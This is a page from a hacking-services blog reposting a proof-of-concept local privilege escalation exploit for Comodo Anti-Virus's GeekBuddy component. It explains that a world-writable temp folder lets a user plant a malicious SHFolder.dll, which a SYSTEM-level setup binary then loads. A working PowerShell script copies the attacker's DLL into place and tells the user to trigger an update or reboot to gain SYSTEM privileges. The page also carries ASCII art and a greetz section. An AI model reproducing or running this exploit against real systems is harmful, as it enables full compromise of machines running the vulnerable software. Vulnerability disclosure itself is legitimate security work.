Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86391975

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<#


                                                   ````......````                                                             
                                              ``,;''''''''''''''''';,`                                                        
                                           .;''''''''''''''''''''''''''',`                                                    
                                       `:''''''''+';:,.``````.,:;'''''''''':`                                                 
                                     ,;'''''';,.`                  ``,;'''''';:                                               
                                  `:'''''',.                            `,'''''';.                                            
                                `;+''+':`                  ,;              `,''''';.                                          
                              `;'''';.             ``    .:;'` `.             `;'''''.                                        
                          `  :+''';`          `,``:+''   ';;'`,'';  ``   ``      :'''';`                                      
                           .'''';`           ,';' '':'`  ';,'`'',' :''' .''`       :'''',                                     
                         `;''''`         ;'' :+.` ;';,   ';:' ''''`,;:+ '',         `;''''`                                   
                        .''''.     ;:`, .'.':`'''.:;`;.  +;:' '::; ;''' ';            .'''',                                  
                       :''';`   `  '''',`':'' ..;:`','`  '''' ':;;`'`';`':`   :;        :''';                                 
                      ;''+,     .;`.'.'' ';.'`';': ,:. `  ` ` `,: .';',,'`;'.`';':       .+'''`                               
                    `''''`      ;'; ''.'.,','` ,`                  ``;`''  .`;'`''+:       ;'''`                              
                   `''''    .,  .'' ,'.'' ;;.         ````````         `.  ``'::'`;; `      :'''.                             
                 ``''':    `+,`  .':`'','        `,;''''''''''+'':.`        ;'.+:;'``':      .'''.                            
                 `''',      '',   ''`:;      `:'''''''''''''''''''''';.      `;'`': ''`'`     .''',                           
                `''',   `   `''`  `';     .''''''''''''''''''''''''''''';`    `.;' ;'.''`.:    `''',                          
               `''',     :''.`''   `    ,;'''''''''''''''''''''''''''''''';. `  `,.'::', ''`    .'''.                         
               ''',      '.''`,':     ,'''''''''''''''''''''''''''''''''''''', `  .+,'; '';      .'''`                        
              ''':       ''`'' ;.   `'''''''''''''''''';:::;';'''''''''''''''''.    ;' :': ,,`    .'''                        
             :'';        `''.'`  ` :''''''''''''';:::.',   `''';`:;'+'''','''''+;    `,'; :'''     ,'''                       
            .'''     ``   .++;   `''''''''''''`.     `':    ''';    `:''' :'''''''.   .+ :''.+.     :'':                      
           `''+     :'':   ``   ,'''''''''''''       `':    ''';       `: ,'''''''':   .`''.''   `   '''`                     
           ;''.    `+.',;      ;'''':''''''''; `      ',  .'''':       `  :''''';''';   `'.',`,',    `+''                     
          ,'':      '';,'.    ;''''':''''''''`+`      ;..`;'+''.        '.:''''';'''''```.+'  +:'`    .'';                    
         `'''    `;``+',;.`  ;''''':''''''''.';      `;'',    '`        '' ;''''','''''`    ;,+.+.     ;''.                   
         ;'+.    :'': ;':   ;'''''':''''':',''.      `'';.+'  '`        ,'; .'''';''''''`  `+.':`      `'''                   
        `'':    .+`;''` `  ;'''''':''''''.::''.      .''.     ::        `'';`,'''':''''''`  :+'.        ,'',                  
        '''`    :''.:''   :''''''':'''''; :''''      .'',   `.,;     :+'`''': ;''','''''''   ,`          '''                  
       .'':      `'';``  ,''''''':;''''':`''';',     ,''+` ,+':'     +'''''''`,''''''''''';         .+`  .'':                 
       '''    `''. :',  `''''''':`'''''+.;';.:::::::,,''';`'': .     .'''''''; ''''.''''''',    `  ;'':   '''                 
      .'',    ','';`.   '''''''; :'''''' `,;'''''''''.```   .   ''''';:,`:;''+`'''',,'''''''`    :'';`    `+':                
      '''`    ''.,';   ;'''''';  ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :'''''''   '''.       ;''                
     `'':     .'';:;  `'''''''` .+'', ,'''''''''''';  '''''''++`''''':..:'''' `'''''  ;'''''',  .,    ``   .'',               
   ` :''        :''`  ''''''+`  ;''``;'''''''''''''':``,,.`````,'''''.       ';.;'''` `'''''''`      .++.   '';               
     +''             ,'''''':   ;+`,'''''''''''''''''+''';;;;'''''''+`       :;+,`''. `.'''''';    .+'''`   :'+`              
    ,''.    ':       +''''';    ,,;''''''''''''''''''''''''''''''''''.  `.::,` `';.',   ;''''''`  :'':  `.  `'';              
    ;''    :;.;':   ,''''''.    `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;,   `''''''; `.;  .;'+`  ;''              
    '': `  ;';';'   '''''';     ''';;''''''',`.'',`   .:;;''''''''''.,'''''''''''.;;.    ,''''''   `;''''.   .''`             
   .''.    .';`;'  .''''''.    :+;;''''''''''': ;'    ::::...;''+'':,'''';..``;''';.      ''''''; `:''.`':   `'':             
   :''     `  ,'`  ;''''''.    :;'''''''''''''';`;,               `,''';` .:;;;'''':      ,''''''   .,''',    '''             
   ;';    ''';,`  `''''''''''` :''''''''''';.:'''`';:`            ,''';`;''''''''''',      ''''''.  ;';,`     :''`            
  `'',   .;,''';  ,'''''''''' ;'''''''''':`   :'''`::`          ``'''',+''''''''''''+`     ;''''';  .``.:;`   `''.            
  .''`   `+;'`;`  '''''''''';.'''''''',`       ''';`             :''';'''';::;'''''';;   ` `''''''`  ;'';;;   `+':            
  :''     ..;''  `''''''''''`'''''''',         .'''`            `+''';''.     ,'''''''''''''''''''''''''''''''''''''':`       
  ;''    :.  ``  .'''''''''';''''''''           ;'';            ;''':::`       :'''''''''''''''''''''''''''''''''''''''',     
  ;':    '''':`  :'''''''''''''''''',`          .'''            ''''.          `+'''''''''''''''''''''''''''''''''''''''''    
  '',    :,;'':  ;''''''''''''''''''`            ;''...        :''''`           :''''''''''''''''''''''''''''''''''''''''''`  
 `''.   `+'':,`  '''''''''''''''''';             ,'';.+`     . ,;'''            `'''''''''''''''''''''''''''''''''''''''''';  
 .''.   `.,;';   '''''''''';''''''',              ''',+. `` .'  .'''             ''''''''+'''''''''''''''''''''''''''''''''', 
 .'+`   ;'''''          ``  '''''''`             `;''''.'++','`+.'''             '''''';                            `;+'''''' 
 ,''                        ''''';;               ,'''';'''';'``.'''             :''''''`                             .'''''':
 :'+                        '''''':               .'''';'''';'` .'''             ,''''''`                              ,''''';
 :''            ,''''',     ''''''`               .'''';'''';', .'''`            .''''''`                               ''''''
 ;''  `'''''';  :''''',     ''''''                .'''';'''';':,''''.            .''''''`                               ''''''
 ;''  `';'''''  :''''',     :'''';                :''''''''';''.'''''            `''''''`                               ;'''''
 ;''            :''''',     ,'''''               `+''''''''':''.'''''`           ,''''';                                ''''''
 :'+            ,''''',     `'''''.              ,'''''''''':''::'''';           ;''''':                               `''''''
 :''      ```.  ,''''':      ''''':             `''''''''''',''+`'''''.         `''''''.                               :''''''
 ,''` `'''''''  .''''';     `''''':             '''''''''''';''',,''''',        '''''''                               ,'''''',
 .''` `''':,.;  `''''''     `'''''':           '''''''''''''';'''`'''''':.   `,''''''',                             .'''''''' 
 `''`  `,;;;''`  ''''''     `'','''';,`     `,''''''''''''''',''':.''''''''''''''''''':`     ;'''''''''''''''''''''''''''''', 
  '',   `+';;,   ''''''     `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+      '''''''''''''''''''''''''''''';  
  '':   `   `,.  ;'''''.    `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;;     `''''''''''''''''''''''''''';';   
  ;';    ,'''';  :''''':    `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,',     ,'''''''''''''''''''''''''''';    
  ;''    ';;,..  .''''''    `''';;  :''''''''''''''''';'''''''. '''''`;'''''''''''';+'`     ;'''''''''''''''''''''''''';.     
  :''   `,:;'''   ''''''`   `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+:      '''''''';''''''''';''''';,`       
  .''.   .''',`   ;''''': `  ''':;''.  ````` :+'''''',;''''''',  '''''';..;''''''''''`     `''''''    `,'':   `+':            
   '':    `  .;.  ,'''''+    .'';,'''''''';:''''''''','''''''':  ;'''''''''.`,'''''''      ;''''';  ,'',      .''.            
   '';     :+.++` `''''''.   +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''',      ''''''.  ':''',    :''`            
   :''    ,';:.'.  ;''''''   ''''.:''''''''''''''''';;'''''''''''.'''.  `:;'''''':'':     :''''''   ';,.:'    '''             
   .''.   .;:'''   .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''',   '''''':   ,'''',   `'':             
    '';    ;';, ;`  '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';'   ,. .;:    ,''`             
    ;''       `;', `,'''''''''''''.,'''''''''''''';','''';:.``   `,.;'''''''''''.+''''''.'''''';  ,'+'.      '''              
    .''.    '''';`   ''''';''''''';`'''''''''''''':.'';:,;'''':`  ,:`:''''''''','',`:''':''''''`  '.:'''    `'':              
     '''   :'': `:.  ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.'''''';  `'''..'    :''               
     :''`  `,. ;:++`  ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+''''''  ;. ,+''`    '';               
     `'':    `'',`;:  `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,'    ,'',               
      ;''`   `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;''''''''  +.''+;      '''                
      `'':    ;'';` `   ''''''':''''';`'''''''',  '''''''''''''''.,''''`''''',:''''`,'''''''`  '''.:';    .'':                
       ''+`    ,`  ,+:  `'''''','''''':`'''''''` :''''''''''''';   ;'''`+''''`;'''':+''''''.` ` :'':;,    '''                 
       .'':     ;';''.   .'''''';'''''',`'''''+  ''''''''''''''`  .,'';.''''' '''''''''''':   +'``;';    .'',                 
        ''+`    :''; ,'`  :''''','''''''.,''''' ,''''''''''''''  :''''';''''','''';'''''';   ,.''. .``   '''                  
        `';;    `+. ;'':'  :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.''''''   :';`'';     :''.                  
         :'',`    `'':.''`  ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;''''''   ` :''.'''`  `'''                   
          '''     ;'.:''`    ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''`  .''``'+',:   '''`                   
          .';;    `;;';   `   :''''':'''''';'''`'';''''''''''': ,''''''''''`''';''''';    .,''` :`    ,'':                    
           ;'',    `',   `'.   ,''''';''''';'''''':''''''''''': .''''''''',`+';,'''';    ``.''';    ``'''                     
            '''`        `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'',   ,'`:'''''`    '''`                     
            .'''        ;'.''    `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',`   `;''''''';.   ;'',                      
             ,'';      ''.;',      ,';''''';,''''''`+,`   .;:;''',,'';'''+.;''''',```:+,''''''''''.:'';                       
              ;'';    ''';',   '.   `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''',''                        
               ''':   .,,':   :':    +''''''',''';.:'+,.`     `.:''':`''''''''''; `'':'''''''''''''',`                        
                ''':     `   .''  `'`;'''''''..,.:+,`   ``.,.`    ,'''`;'''''''+.';'.:'''':;'''''+:.'`                        
                 ''':     ;:`+'`  ,:..,''''''; .+:   `:'+''''';`    ;'; .''''': `:';:+''';`''''''. .':                        
                 `''';    ; ;'.    .';'`;'''',;'.   .+''''''''''`    ;;'+:'''; .+'''''''';''''''.;,'';                        
                  `''''    ,';     :'`'`;'''':+`   `'''''''''''':     ;'';'''`;''''''''''''''''',.''';                        
                   `''''  ` `      `':. ';''.+.    `'''''''''''';     `'''''::'''.'''',`'''''': :';;''                        
                     ''''.        :;,'`:'.';',      '''''''''''':      ,'''','''..''': '''';;:,''. `''                        
                      :''':      `.+'' '''','       :''''''''''+.       ''''''':`'''' .''';:;`.'.:' ';                        
                       ,''''`      `,` ',;:'. `;;;,``'''::::;''; :';,   ,'''''' ;'''` +'''.''+'.:'+`':                        
                        `'''':      `  ;'':'  '''''+;.;  ``  ,:`''''',  `'''''`,'''' :'''.''''..''','.                        
                          :''''.        .,': :'''''''.`;'''';` .''''''`  '''':`+'''``''',;'''``''';:'.                        
                           `'''''`      `.'` ''''''';`'''''''': ,''''';  ;'''`''''; ''';:'''. ;''',''                         
                             ,'''''`    `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.:                         
                               :''''',   .'  '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '.                         
                                `:+'''';..;  '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+                          
                                  `,''''':'  ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,:                          
                                     .;+':'  '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' +                           
                                        .:+` '''''''`''''''+'''+.''''';  .' ;''' ;''.;,'' ' ''.:``:                           
                                          '. :'''''':.+'''''''',;''''',  ;: ;''; '''.'.,;,,:'' '`'                            
                                          ;; `'''''''``;'''''',`,'''''  `'` ''',.''',.:;`' ''.,.`;                            
                                          .+  ''''''' ` `.,,.`'; ''';   :; `''+`;'';;: :.;`',`; ;`                            
                                           +: `'''''``';;;;;'''', ``   `+. `''' '''::;;:;`;'`;..,                             
                                           ,'  ``.. `+''''''''''+`     :'  `'';`''':. ,.',''.; '                              
                                           `+'      :'''''''''''',    `+.`  '',.''',. :,''''+ ;                               
                                            .',     ;''''''''''''.    ':    ''.,''':` ;.''''.,.                               
                                             :'.    :''''''''''',    ;'`    ''.:''',':;.''':.:                                
                                              ''.     ,:''''',`     ;+`     :'.:'''' ':`''; ;                                 
                                              `'',                 ''.       ::,''''``; :, '                                  
                                                ;+;`             .'+`         ``'':'`,;   '``                                 
                                                 ,'';.        `.'';`            :';'.,;  '.                                   
                                                  `,''';:::::;'''.                ``+;' +`                                    
                                                     `,:''''';,`                     ,,;                                      



SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)

Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:

###Technical Geeky Stuff###

GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder.
These binaries are individual components of the Comodo Security Suite and are executed whenever
their related function is performed, updated, or uninstalled.

The directory listing is as follows:
10/06/2015  12:08 AM    <DIR>          .
10/06/2015  12:08 AM    <DIR>          ..
10/02/2015  10:43 PM                27 download.cfg
10/02/2015  10:47 PM           637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe
10/02/2015  10:44 PM         2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe
10/02/2015  10:44 PM           547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe
10/06/2015  12:07 AM         1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe
10/02/2015  10:44 PM           554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe
10/06/2015  12:06 AM           950,864 setup_clps_client_transaction_release-4.19.365037.89.exe
10/06/2015  12:08 AM           563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe
10/02/2015  10:43 PM           768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe
10/06/2015  12:08 AM           581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe
10/02/2015  10:47 PM           459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe
10/02/2015  10:46 PM         1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe
10/06/2015  12:07 AM         1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe
10/06/2015  12:07 AM           648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe
10/02/2015  10:43 PM                 1 survey_version.txt
10/06/2015  12:05 AM    <DIR>          updates

The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration:

C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
                                BUILTIN\Administrators:(OI)(CI)(ID)F
                                CREATOR OWNER:(OI)(CI)(IO)(ID)F
                                BUILTIN\Users:(OI)(CI)(ID)R
                                BUILTIN\Users:(CI)(ID)(special access:)
                                                      FILE_WRITE_DATA
                                                      FILE_APPEND_DATA
                                                      FILE_WRITE_EA
                                                      FILE_WRITE_ATTRIBUTES

Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access.  This allows 
non-administrator users the ability to create files in the directory but not delete or modify 
existing files.

Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides
in the C:\Program Files (x86)\Common Files\COMODO\ folder.  This service is auto launched by the 
registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher

This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM 
level privielges.  This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe 
to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder.

During client connections to update servers and Geek Buddy executions the unit.exe binary will 
launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe.  This setup binary has 
hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is 
executed from.

.data:00409240                 dd offset aShfolder     ; "SHFOLDER"
.data:00409244                 dd offset aShgetfolderpat ; "SHGetFolderPathA"

During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before 
looking in the other PATHS variables.

By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an 
update or client connection to secure servers (which occurs automatically at user login) a user can 
elevate their privileges to SYSTEM and compromise the system fully.


######### GREETZ ######################################################################################
1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled

@taviso - keep killing it and thanks for being an inspiration
@bill_billbil - sup girl chicken rico n chill
@tacticalRCE - Its no 100 mile rides but will miss all the good times.  C-ya around mang.
@hellNBak_ - drop tehm greetz like its 2003
@hacksforpancakes - make plans for other NullCon in 2016 ;)
@jduck - we gonna juke some more toyotas next time you come visit
@hdmoore - good luck with your ventures good sir
@jsoo - dont give up good sir - you're doing awesome
@thegrugq - when i grow up i hope im half as wise as you good sir
@daveaitel - Triangular Anus logos are the best
@da_667 - AYYYYYYYYYYYYYY LMAO
@bonovoxly - Clever Girls Wear Pink on Wednesdays
Derek Soeder - Respect to you brother, keep on being awesome
Benny 29A - next time im in CZ lets get beers, im buying
Yuji Ukai - #RESPECT to everything you have ever done and will ever do.  #Ninja
Sizzop - for fixing my greetz

#########################################################################################################


#>

Param
(

    [Parameter(ValueFromPipelineByPropertyName = $true)]
    [string]$DLL = ""
)




if (!(Test-Path $DLL))
{
    throw "Fatal Error: The specified file: $DLL does not exist."  
}

Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force

Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red


[void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon 


$MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path
$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)
$objNotifyIcon.BalloonTipIcon = "Info" 
$objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL.
Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges" 
$objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis"
 
$objNotifyIcon.Visible = $True 
$objNotifyIcon.ShowBalloonTip(8000)